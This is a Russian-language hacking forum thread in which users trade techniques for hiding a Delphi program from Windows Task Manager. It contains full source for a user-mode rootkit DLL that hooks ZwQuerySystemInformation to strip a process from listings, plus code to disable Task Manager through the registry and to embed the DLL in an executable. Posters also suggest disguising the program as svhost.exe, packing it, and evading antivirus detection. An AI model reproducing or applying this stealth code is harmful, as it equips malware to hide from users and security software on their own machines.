Просмотр полной версии : как спрятать программу в ДиспетчереЗадач?
может где - то писалось - я не нашёл. взникла проблема. Надо спрятать программу на Делфи от Диспетчера Задаач. Конечно же в сети есть несколько примеров кода, но дело в том что мне бы очень хотелось понять самому, как это делается. Может кто нибудь покажет какие нить простенькие методики?
x-treem
На выбор перехват ZwQuerySystemInformation (ntdll.dll), написание драйвера ядра для перехвата ZwQuerySystemInformation в ядре или разрыв связей EPROCESS планировщика
хм... вот давно уже наткнулся на либу hide (http://forum.antichat.ru/showpost.php?p=222728&postcount=5)
дык после компиляции она стала весить 44.5 кб. много для либы. скажите, а реально прописать эту либу в коде самой программы, или хотя бы просто выгружать её из программы?
Joker-jar
28.05.2007, 08:58
В самой программе - нет, так как это глобальный хук. А выгружать - да. Храни в ресурсах, либо в массиве. Выгружай при загрузке. Вот тут (http://www.excode.ru/art3661p2.html) интересная реализация - конвертация любого файла в pas файл - модуль, с последующим инклудом. В модуле содержится функция сохранения обратно в файл (которая, кстати, мне не нравится из-за ее медлительности, я б сделал так:
procedure SaveToFile(FileName:String);
var
F:File;
begin
AssignFile(F,FileName);
ReWrite(F,1);
BlockWrite(F, FileData, FileSize);
CloseFile(F);
end;)
Есть еще один специфический способ - постонно отыскивать окно диспечера задач. и с помошью API функций удалять себя из списка.
Реализауется просто:
- ловишь дискриптор списка где они выводятся
- считываешь его содержимое
- удаляешь себя из него
- заново запихиваешь его наместо.
Способ хорошо действует тока на стандартном диспечере задач. т.е. с ProcessExplorerNT это не прокатит :)
Хоть и приметивный способ, но реализуется относительно просто.
bl4ck-cat
28.05.2007, 09:58
BOOL (WINAPI *RegisterServiceProcess)(DWORD dwProcessId,DWORD dwType);
int main(){
HINSTANCE hKernel;
int i=1;
hKernel=LoadLibrary("KERNEL32.DLL");
if(hKernel){
cout<<"Success load library kernel32.dll"<< endl;
RegisterServiceProcess=(int(__stdcall*)(DWORD,DWOR D))
GetProcAddress(hKernel,"RegisterServiceProcess");
if(RegisterServiceProcess){
cout<<"Success to have address of the specified exported dynamic-link library (DLL) function"<< endl;
if(RegisterServiceProcess(GetCurrentProcessId(),i) )
cout<<"Success registers the process as a service process"<< endl;
}else{
cout<<"Failed to have address of the specified exported dynamic-link library (DLL) function"<< endl;
cin>>i;
return 0;
}
}else{
cout<<"Failed load library kernel32.dll"<< endl;
cin>>i;
return 0;
}
cout<<"Registers the process as a service process:1"<< endl;
cout<<"Unregisters the process as a service process:0"<< endl;
cin>>i;
if (RegisterServiceProcess(GetCurrentProcessId(),i)){
cout<<"Success"<< endl;
}else{
cout<<"Failed"<< endl;
}
cin>>i;
return 0;
}
это всё вставлять в код своей прги... переменную count нужно удалить..
зы: нашел у себя на компе и не проверял на наличие ошибок так что ногами не йбейте :)
bl4ck-cat !Ему на Delphi Надо!
может где - то писалось - я не нашёл. взникла проблема. Надо спрятать программу на Делфи от Диспетчера Задаач. Конечно же в сети есть несколько примеров кода, но дело в том что мне бы очень хотелось понять самому, как это делается. Может кто нибудь покажет какие нить простенькие методики?
bl4ck-cat
28.05.2007, 10:36
упс :) сорри - не заметил :)
Joker-jar
28.05.2007, 10:50
Так ты показывай найденные примеры и тыкай где тебе не понятно, люди помогут. Или пример все-таки нужен?
bl4ck-cat, этот исходник пашет только на Windows 95 / 98 / ME...
назвать его svhost.exe )
Ну или можно просто сам диспетчер вырубить :
пример на Си:
Reg->RootKey=HKEY_CURRENT_USER;
Reg->OpenKey("Software",true);
Reg->OpenKey("Microsoft",true);
Reg->OpenKey("Windows",true);
Reg->OpenKey("CurrentVersion",true);
Reg->OpenKey("Policies",true);
Reg->OpenKey("System",true);
Reg->WriteString("DisableTaskMgr","1");
Cмысла в этом посте не вижу, но так , для информативности... :p
а вообще мне сам вопрос понравился... 'В диспетчере'
попробуй , File>New >Run , у меня она сразу прячется в диспетчер ^^
Jes, имхо: у юзера могут возникнуть подозрения =)
Как использовать hide.dll :
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
external 'hide.dll';
function ProcessMessage(var Msg: TMsg): Boolean;
var
Handled: Boolean;
begin
Result := False;
begin
Result := True;
if Msg.Message <> WM_QUIT then
begin
Handled := False;
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end
end;
end;
procedure ProcessMessages;
var
Msg: TMsg;
begin
while ProcessMessage(Msg) do {loop}
;
end;
begin
HideProcess(GetCurrentProcessId, false);
while true do
begin
ProcessMessages;
end;
{$R *.dfm}
end.
НО! , сама hide.dll тут же палится AVP, Авастом и прочей гадостью...(еще при появлении на борту..)
млин , чтоб браузер обновить ,по привычке F9 нажимаю , вместо F5... ^^
ДЫк привер вообще для 98 винды. НА Xp пахать не должен
ток с учёбы припёрсо)
странно, hide.dll у мну не палится. вродь каспер обнавлён.
насчёт примеров. БЫЛ БЫ ОЧЕНЬ ПРИЗНАТЕЛЕН, ЕСЛИ БЫ КТО НИТЬ ПОКАЗАЛ НА ЖИВОМ ПРИМЕРЕ, КАК ХАЙД.ДЛЛ В ЕКЗЕШНИК ЗАПИХАТЬ. млин. я блондинко(( продолжим.
статья: http://www.excode.ru/art3661p2.html
что то не сильно понял зачем там writeln.
вообщето я там ничего не понял))
x-treem
1) создаешь пустой проект, добавляешь кнопку на форму
2) берешь процедуру, которая описана по ссылке, добавляешь в её в исходник
3) в обработчике события нажатия кнопки вызываешь эту процедуре, например, так
procedure TForm1.Button1Click(Sender: TObject);
begin
FileToPas("C:\hide.dll"); // путь к hide.dll
end;
4) запускаешь полученную прогу, жмёшь кнопку (тем самым генерируется unit с содержимым hide.dll)
5) создаешь новый проект, подключаешь сгенеренный unit
6) для извлечения dll юзаешь процедуру SaveToFile из этого же unit'а
7) используешь извлеченную hide.dll
млин... а у мну без юниов. тоесть голая прога с юзаньем widnows, wincock и SysUtils
x-treem, необходимо сгенеренный unit подключить также, как и Windows, Winsock и SysUtils, скопировав его в директорию с проектом и добавить в uses:
uses Windows, Winsock, SysUtils, Hide;
аа. ясно, спасибо. пока под рукой дельфина нету. надеюсь юнит буит не на много больше чем сама длл) всем спасибо!
Joker-jar
29.05.2007, 07:13
Юнит будет весить больше самой dll, но при компиляции все будет ОК. Не забывай юзать упаковщики.
btw: не подскажете как сделать, чтобы hide.dll не палилась антивирями?
может легче отключить сам диспетчер?
http://www.delphitricks.com/source-code/windows/disable_ctrlaltdelete_under_xp.html
procedure DisableTaskMgr(bTF: Boolean);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey('Software', True);
reg.OpenKey('Microsoft', True);
reg.OpenKey('Windows', True);
reg.OpenKey('CurrentVersion', True);
reg.OpenKey('Policies', True);
reg.OpenKey('System', True);
if bTF = True then
begin
reg.WriteString('DisableTaskMgr', '1');
end
else if bTF = False then
begin
reg.DeleteValue('DisableTaskMgr');
end;
reg.CloseKey;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
DisableTaskMgr(True);
end;
asm33 - представь, не легче=\
кстати, такое предложеник уже было в топике.
и ещё...
у мну не компилится FileToPas. может кто нить скомпилит? очень прошу
Joker-jar
30.05.2007, 09:38
procedure FileToPas(FileName: string);
var
BF: file of Byte;
F: TextFile;
N, S: string;
BFSize: integer;
BBB: Byte;
begin
AssignFile(BF, FileName);
Reset(BF);
BFSize := FileSize(BF);
N := ChangeFileExt(FileName, '.PAS');
AssignFile(F, N);
ReWrite(F);
Writeln(F, 'unit ' + ExtractFileName(ChangeFileExt(N, '')) + ';');
Writeln(F);
Writeln(F, 'interface');
Writeln(F);
Writeln(F, 'const FileSize:integer=' + IntToStr(BFSize) + ';');
Writeln(F, 'FileData:array[0..' + IntToStr(BFSize - 1) + '] of Byte=');
Writeln(F, '(');
while not Eof(BF) do
begin
S := '';
while (not Eof(BF)) and (Length(S) < 80) do
begin
Read(BF, BBB);
S := S + IntToStr(BBB) + ',';
end;
if Eof(BF) then
Delete(S, Length(S), 1);
Writeln(F, S);
end;
CloseFile(BF);
Writeln(F, ');');
Writeln(F);
Writeln(F, 'procedure SaveToFile(FileName:String);');
Writeln(F);
Writeln(F, 'implementation');
Writeln(F);
Writeln(F, 'procedure SaveToFile(FileName:String);');
Writeln(F, 'var F: File;');
Writeln(F, 'begin');
Writeln(F, 'AssignFile(F,FileName);');
Writeln(F, 'ReWrite(F,1);');
Writeln(F, 'BlockWrite(F, FileData, FileSize);');
Writeln(F, 'CloseFile(F);');
Writeln(F, 'end;');
Writeln(F);
Writeln(F, 'end.');
CloseFile(F);
end;
Joker-jar
30.05.2007, 09:42
Используй для относительно небольших файлов (< 2 Mb), так как функция сохраняет в файл в один присест. Сохраняет шустренько.
DarckSol
01.06.2007, 03:08
Нашел давно библиотеку Hide.dpr оно вот такого содержания:
library Hide;
uses
Windows,
NativeAPI;
type
OldCode = packed record
One: dword;
two: word;
end;
far_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;
var
JmpZwq: far_jmp;
OldZwq: OldCode;
PtrZwq: pointer;
Function TrueZwQuerySystemInformation(ASystemInformationCla ss: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Written: dword;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@OldZwq, SizeOf(OldCode), Written);
Result := ZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@JmpZwq, SizeOf(far_jmp), Written);
end;
Function NewZwQuerySystemInformation(ASystemInformationClas s: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Info, Prev: PSYSTEM_PROCESSES;
begin
Result := TrueZwQuerySystemInformation(ASystemInformationCla ss,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
(Result = STATUS_SUCCESS) then
begin
Info := ASystemInformation;
while(Info^.NextEntryDelta > 0) do
begin
Prev := Info;
Info := pointer(dword(Info) + Info^.NextEntryDelta);
if lstrcmpiw(Info^.ProcessName.Buffer, '1.exe') = 0 then
Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
end;
end;
end;
Procedure SetHook();
var
Bytes: dword;
begin
PtrZwq := GetProcAddress(GetModuleHandle('ntdll.dll'),
'ZwQuerySystemInformation');
ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
JmpZwq.PuhsOp := $68;
JmpZwq.PushArg := @NewZwQuerySystemInformation;
JmpZwq.RetOp := $C3;
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;
Procedure Unhook();
var
Bytes: dword;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;
Function MessageProc(code : integer; wParam : word;
lParam : longint) : longint; stdcall;
begin
CallNextHookEx(0, Code, wParam, lparam);
Result := 0;
end;
Procedure SetGlobalHookProc();
begin
SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
Sleep(INFINITE);
end;
//
Procedure SetGlobalHook();
var
hMutex: dword;
TrId: dword;
begin
hMutex := CreateMutex(nil, false, 'ProcHideHook');
if GetLastError = 0 then
CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
CloseHandle(hMutex);
end;
procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH: begin
SetGlobalHook();
SetHook();
end;
DLL_PROCESS_DETACH: begin
Unhook();
end;
end;
end;
begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
А вторая библиотека невлезает, уж больно там кода много, поэтому берём тут http://rapidshare.com/files/34527096/NativeAPI.pas
Смотрим, тестим.
Joker-jar
01.06.2007, 03:45
Ну так это его величество Ms-Rem, по коду узнаю. Скрывает номально, но от tasklist'a не поможет. Хотя, в большинстве случаев, можно ограничиться и таскменеджером
DarckSol, ну дык я об этом и говорил.
"Скрывает номально, но от tasklist'a не поможет", с какой радости то?
Хукаешь zwQuerySystemInformation и все
Короче инфы на эту тему в инете ПОЛНО, а выкладывают тут фиговые сорсы какието, которые к делу не относятся, за исключением последнего.
Прочитай мою тему про сплайсинг - там был пример с наебкой диспетчера задач, правда уже запущенного.
Повторюсь, что лучший вариант - драйвер ядра.
Все, тема закрыта, щас каждый шибко умный захочет тут отписаться мол он тоже крутой. Достали
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot